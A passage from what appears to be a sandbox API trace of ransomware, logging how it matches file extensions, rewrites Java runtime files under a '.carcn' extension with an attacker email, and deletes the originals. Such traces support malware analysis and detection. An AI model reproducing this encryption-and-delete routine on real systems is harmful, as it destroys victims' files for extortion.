lpString2="exe") returned -1 [0302.097] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe") returned 54 [0302.097] lstrlenW (lpString=".dbf") returned 4 [0302.097] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0302.097] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe") returned 54 [0302.097] lstrlenW (lpString=".1cd") returned 4 [0302.097] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0302.097] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe") returned 54 [0302.097] lstrlenW (lpString=".jpg") returned 4 [0302.097] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0302.097] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe") returned 54 [0302.097] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe") returned 54 [0302.097] lstrlenW (lpString=".doc") returned 4 [0302.097] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0302.097] lstrlenW (lpString=".docx") returned 5 [0302.097] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1 [0302.097] lstrlenW (lpString=".pdf") returned 4 [0302.097] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0302.097] lstrlenW (lpString=".xls") returned 4 [0302.097] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0302.097] lstrlenW (lpString=".xlsx") returned 5 [0302.097] lstrcmpiW (lpString1=".xlsx", lpString2="r.exe") returned -1 [0302.097] lstrlenW (lpString=".ppt") returned 4 [0302.097] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0302.097] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe") returned 54 [0302.097] lstrlenW (lpString=".zip") returned 4 [0302.098] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0302.098] lstrlenW (lpString=".rar") returned 4 [0302.098] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0302.098] lstrlenW (lpString=".bz2") returned 4 [0302.098] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0302.098] lstrlenW (lpString=".7z") returned 3 [0302.098] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0302.098] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe") returned 54 [0302.098] lstrlenW (lpString=".dbf") returned 4 [0302.098] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0302.098] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe") returned 54 [0302.098] lstrlenW (lpString=".1cd") returned 4 [0302.098] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0302.098] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe") returned 54 [0302.098] lstrlenW (lpString=".jpg") returned 4 [0302.098] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0302.098] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0302.098] lstrlenW (lpString="jp2ssv.dll") returned 10 [0302.098] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2ssv.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0302.099] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=235584) returned 1 [0302.099] CloseHandle (hObject=0x364) returned 1 [0302.099] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2ssv.dll")) returned 0x20 [0302.099] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2ssv.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0302.099] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2ssv.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0302.099] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.099] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.099] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2ssv.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0302.100] GetLastError () returned 0x0 [0302.100] ReadFile (in: hFile=0x364, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x39840, lpOverlapped=0x0) returned 1 [0302.272] WriteFile (in: hFile=0x390, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0x39850, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0x39850, lpOverlapped=0x0) returned 1 [0302.275] ReadFile (in: hFile=0x364, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0302.275] WriteFile (in: hFile=0x390, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0xe8, lpOverlapped=0x0) returned 1 [0302.275] SetEndOfFile (hFile=0x390) returned 1 [0302.276] CloseHandle (hObject=0x390) returned 1 [0302.276] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.276] SetEndOfFile (hFile=0x364) returned 1 [0302.278] CloseHandle (hObject=0x364) returned 1 [0302.278] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0302.278] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2ssv.dll")) returned 1 [0302.278] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll") returned 49 [0302.278] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll") returned 49 [0302.278] lstrlenW (lpString=".doc") returned 4 [0302.278] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0302.278] lstrlenW (lpString=".docx") returned 5 [0302.278] lstrcmpiW (lpString1=".docx", lpString2="v.dll") returned -1 [0302.278] lstrlenW (lpString=".pdf") returned 4 [0302.278] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0302.278] lstrlenW (lpString=".xls") returned 4 [0302.278] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0302.278] lstrlenW (lpString=".xlsx") returned 5 [0302.278] lstrcmpiW (lpString1=".xlsx", lpString2="v.dll") returned -1 [0302.279] lstrlenW (lpString=".ppt") returned 4 [0302.279] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0302.279] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll") returned 49 [0302.279] lstrlenW (lpString=".zip") returned 4 [0302.279] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0302.279] lstrlenW (lpString=".rar") returned 4 [0302.279] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0302.279] lstrlenW (lpString=".bz2") returned 4 [0302.279] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0302.279] lstrlenW (lpString=".7z") returned 3 [0302.279] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0302.279] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll") returned 49 [0302.279] lstrlenW (lpString=".dbf") returned 4 [0302.279] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0302.279] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll") returned 49 [0302.279] lstrlenW (lpString=".1cd") returned 4 [0302.279] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0302.279] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll") returned 49 [0302.279] lstrlenW (lpString=".jpg") returned 4 [0302.279] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0302.279] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll") returned 49 [0302.279] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll") returned 49 [0302.279] lstrlenW (lpString=".doc") returned 4 [0302.279] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0302.279] lstrlenW (lpString=".docx") returned 5 [0302.279] lstrcmpiW (lpString1=".docx", lpString2="v.dll") returned -1 [0302.279] lstrlenW (lpString=".pdf") returned 4 [0302.279] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0302.279] lstrlenW (lpString=".xls") returned 4 [0302.279] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0302.279] lstrlenW (lpString=".xlsx") returned 5 [0302.279] lstrcmpiW (lpString1=".xlsx", lpString2="v.dll") returned -1 [0302.279] lstrlenW (lpString=".ppt") returned 4 [0302.279] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0302.279] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll") returned 49 [0302.279] lstrlenW (lpString=".zip") returned 4 [0302.280] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0302.280] lstrlenW (lpString=".rar") returned 4 [0302.280] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0302.280] lstrlenW (lpString=".bz2") returned 4 [0302.280] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0302.280] lstrlenW (lpString=".7z") returned 3 [0302.280] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0302.280] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll") returned 49 [0302.280] lstrlenW (lpString=".dbf") returned 4 [0302.280] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0302.280] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll") returned 49 [0302.280] lstrlenW (lpString=".1cd") returned 4 [0302.280] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0302.280] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll") returned 49 [0302.280] lstrlenW (lpString=".jpg") returned 4 [0302.280] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0302.280] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0302.280] lstrlenW (lpString="jsound.dll") returned 10 [0302.280] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsound.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0302.281] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=35392) returned 1 [0302.281] CloseHandle (hObject=0x364) returned 1 [0302.281] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsound.dll")) returned 0x20 [0302.281] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsound.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0302.281] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsound.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0302.281] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.281] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.281] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsound.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0302.281] GetLastError () returned 0x0 [0302.282] ReadFile (in: hFile=0x364, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x8a40, lpOverlapped=0x0) returned 1 [0302.422] WriteFile (in: hFile=0x390, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0x8a50, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0x8a50, lpOverlapped=0x0) returned 1 [0302.423] ReadFile (in: hFile=0x364, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0302.423] WriteFile (in: hFile=0x390, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0xe8, lpOverlapped=0x0) returned 1 [0302.423] SetEndOfFile (hFile=0x390) returned 1 [0302.424] CloseHandle (hObject=0x390) returned 1 [0302.424] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.424] SetEndOfFile (hFile=0x364) returned 1 [0302.425] CloseHandle (hObject=0x364) returned 1 [0302.425] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0302.425] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsound.dll")) returned 1 [0302.425] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll") returned 49 [0302.425] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll") returned 49 [0302.425] lstrlenW (lpString=".doc") returned 4 [0302.425] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0302.425] lstrlenW (lpString=".docx") returned 5 [0302.425] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1 [0302.425] lstrlenW (lpString=".pdf") returned 4 [0302.425] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0302.425] lstrlenW (lpString=".xls") returned 4 [0302.425] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0302.425] lstrlenW (lpString=".xlsx") returned 5 [0302.425] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1 [0302.425] lstrlenW (lpString=".ppt") returned 4 [0302.425] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0302.425] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll") returned 49 [0302.425] lstrlenW (lpString=".zip") returned 4 [0302.425] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0302.425] lstrlenW (lpString=".rar") returned 4 [0302.426] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0302.426] lstrlenW (lpString=".bz2") returned 4 [0302.426] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0302.426] lstrlenW (lpString=".7z") returned 3 [0302.426] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0302.426] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll") returned 49 [0302.426] lstrlenW (lpString=".dbf") returned 4 [0302.426] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0302.426] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll") returned 49 [0302.426] lstrlenW (lpString=".1cd") returned 4 [0302.426] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0302.426] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll") returned 49 [0302.426] lstrlenW (lpString=".jpg") returned 4 [0302.426] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0302.426] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll") returned 49 [0302.426] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll") returned 49 [0302.426] lstrlenW (lpString=".doc") returned 4 [0302.426] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0302.426] lstrlenW (lpString=".docx") returned 5 [0302.426] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1 [0302.426] lstrlenW (lpString=".pdf") returned 4 [0302.426] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0302.426] lstrlenW (lpString=".xls") returned 4 [0302.426] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0302.426] lstrlenW (lpString=".xlsx") returned 5 [0302.426] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1 [0302.426] lstrlenW (lpString=".ppt") returned 4 [0302.426] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0302.426] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll") returned 49 [0302.426] lstrlenW (lpString=".zip") returned 4 [0302.426] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0302.426] lstrlenW (lpString=".rar") returned 4 [0302.427] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0302.427] lstrlenW (lpString=".bz2") returned 4 [0302.427] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0302.427] lstrlenW (lpString=".7z") returned 3 [0302.427] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0302.427] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll") returned 49 [0302.427] lstrlenW (lpString=".dbf") returned 4 [0302.427] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0302.427] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll") returned 49 [0302.427] lstrlenW (lpString=".1cd") returned 4 [0302.427] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0302.427] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll") returned 49 [0302.427] lstrlenW (lpString=".jpg") returned 4 [0302.427] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0302.427] lstrcmpiW (lpString1=".exe", lpString2=".carcn") returned 1 [0302.427] lstrlenW (lpString="keytool.exe") returned 11 [0302.427] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\keytool.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0302.428] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=16448) returned 1 [0302.428] CloseHandle (hObject=0x364) returned 1 [0302.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\keytool.exe")) returned 0x20 [0302.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\keytool.exe.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0302.428] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\keytool.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0302.428] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.428] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.428] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\keytool.exe.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0302.429] GetLastError () returned 0x0 [0302.429] ReadFile (in: hFile=0x364, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x4040, lpOverlapped=0x0) returned 1 [0302.611] WriteFile (in: hFile=0x390, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0x4050, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0x4050, lpOverlapped=0x0) returned 1 [0302.612] ReadFile (in: hFile=0x364, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0302.612] WriteFile (in: hFile=0x390, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0xea, lpOverlapped=0x0) returned 1 [0302.612] SetEndOfFile (hFile=0x390) returned 1 [0302.612] CloseHandle (hObject=0x390) returned 1 [0302.612] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.612] SetEndOfFile (hFile=0x364) returned 1 [0302.613] CloseHandle (hObject=0x364) returned 1 [0302.613] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0302.613] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\keytool.exe")) returned 1 [0302.613] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe") returned 50 [0302.613] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe") returned 50 [0302.613] lstrlenW (lpString=".doc") returned 4 [0302.614] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0302.614] lstrlenW (lpString=".docx") returned 5 [0302.614] lstrcmpiW (lpString1=".docx", lpString2="l.exe") returned -1 [0302.614] lstrlenW (lpString=".pdf") returned 4 [0302.614] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0302.614] lstrlenW (lpString=".xls") returned 4 [0302.614] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0302.614] lstrlenW (lpString=".xlsx") returned 5 [0302.614] lstrcmpiW (lpString1=".xlsx", lpString2="l.exe") returned -1 [0302.614] lstrlenW (lpString=".ppt") returned 4 [0302.614] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0302.614] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe") returned 50 [0302.614] lstrlenW (lpString=".zip") returned 4 [0302.614] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0302.614] lstrlenW (lpString=".rar") returned 4 [0302.614] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0302.614] lstrlenW (lpString=".bz2") returned 4 [0302.614] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0302.614] lstrlenW (lpString=".7z") returned 3 [0302.614] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0302.614] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe") returned 50 [0302.614] lstrlenW (lpString=".dbf") returned 4 [0302.614] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0302.614] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe") returned 50 [0302.614] lstrlenW (lpString=".1cd") returned 4 [0302.614] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0302.614] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe") returned 50 [0302.614] lstrlenW (lpString=".jpg") returned 4 [0302.614] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0302.614] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe") returned 50 [0302.614] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe") returned 50 [0302.614] lstrlenW (lpString=".doc") returned 4 [0302.614] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0302.614] lstrlenW (lpString=".docx") returned 5 [0302.614] lstrcmpiW (lpString1=".docx", lpString2="l.exe") returned -1 [0302.614] lstrlenW (lpString=".pdf") returned 4 [0302.615] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0302.615] lstrlenW (lpString=".xls") returned 4 [0302.615] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0302.615] lstrlenW (lpString=".xlsx") returned 5 [0302.615] lstrcmpiW (lpString1=".xlsx", lpString2="l.exe") returned -1 [0302.615] lstrlenW (lpString=".ppt") returned 4 [0302.615] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0302.615] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe") returned 50 [0302.615] lstrlenW (lpString=".zip") returned 4 [0302.615] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0302.615] lstrlenW (lpString=".rar") returned 4 [0302.615] 